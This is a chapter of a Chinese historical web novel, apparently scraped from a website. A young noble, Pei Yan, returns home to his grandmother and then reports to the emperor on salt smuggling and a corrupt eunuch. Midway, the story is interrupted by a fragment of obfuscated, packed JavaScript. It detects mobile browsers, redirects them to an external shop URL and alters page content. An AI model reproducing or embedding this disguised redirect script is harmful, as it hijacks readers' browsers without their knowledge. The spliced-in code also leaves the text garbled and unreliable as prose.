国公府坐落在城东的崇仁坊,紧挨着皇城。这一片多是开国勋贵的宅邸,朱门高墙,鳞次栉比,连空气中都弥漫着权势与财富沉淀下来的厚重气息。 裴家的国公府是先帝赐下的宅子,占地极广,五进的大院,门前一对石狮威猛雄健,据说还是当年太祖皇帝钦点的样式。府邸东侧紧邻着长公主府,西边隔着条e巷子便是户部尚书的宅子,往北一圈,皆是朝中一二品大员的府邸裴宴在府门前下了马,风尘仆仆。守门的小厮远远看见,忙不迭地跑进去通报。不过片刻,管家裴忠便迎了出来,脸上堆着笑:“公子回来了!老夫人从昨儿个就念叨,可算把您盼回来了。” “忠叔。”裴宴微微颔首,将马缰递给迎上来的马夫,“祖母身子可好?” “好,好着呢!就是惦记您。”裴忠一边引着往里走,一边絮絮地说着府里近况,“老爷前日被召进宫议事,到今儿还没回府。 裴宴听着,脚步不停,径直往内院去。 穿过垂花门,绕过影壁,便是老夫人居住的寿安堂。院子里种着几株老石榴,这时节花开得正盛,红艳艳的像一团团火。廊下挂着几只鸟笼,画眉在里头婉转地啼。 丫鬟早通报进去,裴宴刚踏上台阶,帘子便掀开了。裴老夫人扶着丫鬟的手站在门内,满头银发梳得一丝不乱,穿着沉香色绣福寿纹的褙子,眼巴巴地望着门口。 “祖母。”裴宴快步上前,在阶前便撩袍跪下,“孙儿给祖母请安。” “快起来,快起来!”老夫人一迭连声,眼中笑意藏都藏不住,亲自伸手去扶,“让我好好看看……瘦了,定是在外头没好好吃饭。” 裴宴顺势起身,扶着祖母往屋里走:“孙儿一切都好,倒是祖母,看着清减了些。” “我有什么清减的,整日在府里养着。”老夫人拉他在身边坐下,一迭连声吩咐丫鬟,“快拿帕子来给宴哥儿擦脸,去沏茶,要刚送来的明前龙井。厨房里炖的银耳莲子羹也端一碗来……” 丫鬟们忙成一团。裴宴接过温热的帕子擦了脸手,这才在祖母下首的绣墩上坐下。 “你外祖母身子可硬朗?”老夫人问起江南的事。 “外祖母身子康健,让孙儿代问祖母安好。”裴宴答道,“二舅父、舅母也都好。谦表哥还托孙儿带了些江南的土仪,跟在后面,明日便能送到。” 提到沈家,老夫人脸上笑容淡了些,眼中闪过一丝复杂的追忆,却也没多说什么,最终只点点头:“难为他们惦记。”她顿了顿,看着孙儿眉宇间藏不住的倦色,话锋一转,“你一路舟车劳顿,先回房歇歇。有什么话,明日再说。” 裴宴确实累了。连日赶路,加上在江南那些明察暗访,身心俱疲。他起身行礼:“那孙儿先告退,晚些再来陪祖母用饭。” “去吧去吧,好生歇着。”老夫人慈爱地摆手。 裴宴的院子在国公府东侧,名唤“九思居”。院名取自“君子有九思”,透着克己复礼的肃然,与他此刻风尘仆仆的归来形成一种微妙反差。三进的院落不算阔朗,却极清幽。一池活水引自外头的金水河,潺潺环绕,池边翠竹与芭蕉绿意正浓,在午后光影里泛着油润的光泽。 他刚踏进月洞门,原本静谧的院子仿佛被投入石子的静水,瞬间活络起来。早已得了消息、翘首以盼的丫鬟们,如归巢的雀儿般从各处盈盈涌现,一拥而上,将他妥帖地拱卫在中心。 “公子回来了!” “公子一路可安顺?” “热水一直备着呢!” 管事大丫鬟秋月领首上前,声音清脆却有条不紊,压下了一片叽叽喳喳的问候。她身后,几个伶俐的二等丫鬟已然各司其职:一个无声接过他沾了尘灰的披风,一个递上温度恰好的沁香帕子,另一个已捧着干净的软鞋候在一旁。 “公子是先沐浴解乏,还是先用些清淡茶点垫垫?”秋月微微仰头,目光关切地扫过他眼底的淡青。 “沐浴。”裴宴简短道,声音里的疲惫在回到熟悉的环境后,似乎更明显了些。他任由丫鬟们簇拥着往正房去,那阵势并非喧闹,而是一种训练有素、密不透风的体贴,将他与外界的一切烦扰暂时隔开。 屋里一切如旧。紫檀木的多宝阁,官帽椅,临窗的书案上笔墨纸砚摆放得整整齐齐,连他离京前看了一半的那本兵书,都还摊开在原来的位置。空气中弥漫着淡淡的檀香味,是他惯用的熏香。 裴宴站在屋中,环视一周,忽然有种恍如隔世的感觉。 在江南这一个多月,看的是小桥流水,听的是吴侬软语,接触的是市井百姓、江湖郎中。而这里,是高门深院,是钟鸣鼎食,是权谋算计。 两个世界。 他摇摇头,将这莫名的感慨压下。丫鬟已备好了热水,他走进盥洗室,褪去沾满尘土的衣衫,将自己浸入温热的水中。 水汽氤氲,疲惫一点点从骨缝里渗出来。裴宴闭上眼,脑海里却不由自主地浮现出一些画面—— 纯阳宫石径上那个雨过天青色的身影;柳枝巷小院里那双清亮坦然的眼;还有那夜翻墙而入时,她惊吓后又强作镇定的模样…… 他猛地睁开眼。 不该想这些。 明日要进宫面圣,江南的事需得仔细禀报。那些私盐、漕运、贪墨的线索千头万绪,牵涉的官员从地方到中枢,个个都不是省油的灯。尤其是崔琰…… 裴宴眼神沉了下来。 这个老太监,在江南经营多年,手伸得极长。盐、茶、漕运,处处都有他的影子。更棘手的是,朝中似乎也有人与他勾连…… 他起身,换上干净的月白中衣,外罩一件石青色家常道袍。秋月端来热茶和几样点心,他挥手让丫鬟们都退了下去。简单用了些点心,他便在书案前坐下,取出路上整理的密报,细细翻阅。 烛火燃起时,他已将江南之行的要点梳理清楚。哪些证据确凿,哪些尚需查证,哪些线索指向何人,一一在胸。 窗外天色渐暗,暮色四合。 裴宴吹熄烛火,走到窗前。清风苑里安静得很,只闻竹叶沙沙,池水潺潺。远处隐隐传来更鼓声——戌时了。 他深吸一口气,又缓缓吐出。 明日,还有一场硬仗要打。 第二日,天还未亮,裴宴便起身了。 秋月伺候他换上朝服——绯色罗袍,腰束玉带,头戴乌纱幞头。镜中的少年眉目清俊,神色沉静,通身透着世家子弟的矜贵与沉稳。 “公子今日要进宫?”秋月一边为他整理衣襟,一边轻声问。 “嗯。”裴宴应了一声,“若老爷回府,就说我午后便回。” “是。” 马车早已候在府门外。裴宴登车,车夫一声轻喝,马车辘辘驶向皇城。 清晨的京城尚未完全苏醒,街道上已有早起的贩夫走卒。卖菜的、挑水的、赶早市的,在薄雾中穿行。马车穿过几条街巷,巍峨的皇城便出现在眼前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222052|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 朱红的宫墙,金色的琉璃瓦,在晨曦中泛着庄严的光。守卫宫门的禁军认得国公府的车驾,查验了腰牌便放行入内。 裴宴在左银台门外下车,步行入宫。早有内侍等候,引着他往御书房去。 穿过重重宫门,绕过几处殿宇,御书房便到了。这是皇帝日常处理政务、召见近臣的地方,不算宏阔,却处处透着天家的威严。 内侍通报后,书房门开启。裴宴整了整衣冠,垂首入内。 “臣裴宴,叩见陛下。” “平身。”御案后传来一个温和却威仪的声音。 裴宴起身,垂手侍立。抬眼看去,皇帝正坐在紫檀木御案后,穿着明黄色常服,四十来岁的年纪,面容清癯,眼神睿智而深沉。他手边堆着几叠奏章,显是已处理了许久政务。 “江南一行,辛苦了。”皇帝放下手中的朱笔,示意内侍看座。 “臣分内之事。”裴宴在绣墩上坐了半个身子,姿态恭谨。 内侍奉上茶,便悄无声息地退了出去,带上房门。书房里只剩下君臣二人。 皇帝端起茶盏,轻轻撇着浮沫,看似随意地问:“江南风物如何?” “山清水秀,物阜民丰。”裴宴答道,“只是……” “只是什么?” 裴宴抬眼,见皇帝目光如炬,便知不必再绕弯子。他从袖中取出一份密折,双手呈上:“臣在江南暗访月余,查到些事,需禀报陛下。” 皇帝接过密折,展开细看。起初神色尚平静,越往后看,眉头皱得越紧。待看到某处时,脸色陡然阴沉下来。 书房里一片死寂,只闻皇帝翻动纸页的沙沙声。 许久,皇帝放下密折,抬眼看向裴宴,声音听不出情绪:“这些事,你可有实证?” “部分有。”裴宴斟酌着回道,“江南道漕帮与沿途州县官员勾结,贩卖私盐、偷漏税赋,臣已拿到几处码头、盐场的账册副本,人证也有几个。只是……”他顿了顿,“牵涉的官员不少,有些还是朝中重臣的门生故旧。若要一查到底,恐震动朝野。” 皇帝沉默片刻,手指在御案上轻轻叩击,发出有节奏的笃笃声。 “还有一事,”裴宴继续道,声音压得更低,“关于江南路发运使崔琰。” 皇帝眼神陡然锐利:“崔琰?他怎么了?” “臣查到,崔琰在江南这些年,不仅与盐商、漕帮往来密切,更插手茶政、漕运,从中牟利巨万。”裴宴一字一句道,“更可疑的是,他每年往京中运送的‘江南特产’,数额惊人,远超常理。臣怀疑,其中不少是……” 他没说完,但皇帝听懂了。 “送往宫中?”皇帝声音冷了下来。 “臣不敢妄言。”裴宴垂首,“只是崔琰在宫中根基颇深,若真有其事,恐牵涉更广。” 皇帝久久不语。御书房里烛火跳动,将他的影子投在墙上,拉得忽长忽短。 裴宴静静等着。他知道这番话的分量——崔琰不是寻常官员,他是太监,是天子家奴,却在江南只手遮天。若真查下去,牵扯出的恐怕不止是贪墨,更是宫闱秘辛。 良久,皇帝终于开口,声音疲惫:“朕知道了。你且将查到的证据整理好,密奏上来。至于崔琰……”他顿了顿,“先不要打草惊蛇。” “臣遵旨。” 皇帝挥挥手:“你一路劳顿,先回去歇着吧。此事……容朕思量。” 裴宴起身行礼,退了出去。 走出御书房时,日头已升得老高。阳光刺眼,他眯了眯眼,回头望了眼那扇紧闭的朱红大门。 他深吸一口气,迈步走下石阶。